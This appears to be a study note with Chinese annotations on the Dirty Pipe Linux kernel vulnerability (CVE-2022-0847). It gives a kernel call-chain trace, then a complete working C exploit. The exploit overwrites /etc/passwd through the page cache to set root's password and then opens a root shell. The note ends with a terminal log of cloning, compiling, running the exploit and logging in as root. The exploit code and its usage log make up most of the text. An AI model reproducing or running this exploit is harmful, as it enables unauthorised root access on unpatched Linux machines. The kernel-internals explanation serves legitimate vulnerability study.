// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)

// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter

// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// 创建p[0]和p[1]分别指向管道两端。前者读，后者写

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // 获取管道大小
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // 填充管道，顺便设置PIPE_BUF_FLAG_CAN_MERGE
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// 清空管道，但是保留标志位
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// 定义目标文件路径

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // 创建/tmp/passwd.bak备份
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // 判断文件读写是否正常打开
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // 逐字节写入
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // 定义偏移，即覆盖目标位置为root字段之后
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // 定义覆盖的数据
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // 判断写入位置是否在页边界上
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// 定义当前页面结尾
	const loff_t end_offset = offset + (loff_t)data_size;				// 定义覆盖数据的结尾
	if (end_offset > next_page) {									  // 判断覆盖是否跨页
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// 打开只读目标文件
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// 定义st保存目标文件信息
	if (fstat(fd, &st)) {											 // 获取目标文件状态
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // 判断偏移是否大于文件字节数
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // 判断覆盖结尾是否大于文件字节数
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // 创建管道，标志位设置为PIPE_BUF_FLAG_CAN_MERGE

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// 定位到偏移前1字节
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // 将该字节进行拼接发送到管道
	if (nbytes < 0) {											 // 判断是否移动成功，-1表示失败
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0表示没有数据可以移动
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // 覆盖数据写入管道
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// 开启root下shell

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux

git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

./compile.sh	# gcc编译
./exploit	    # 执行exp返回如下error信息
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
密码: aaron 

登录后极为root权限

mv /tmp/passwd.bak /etc/passwd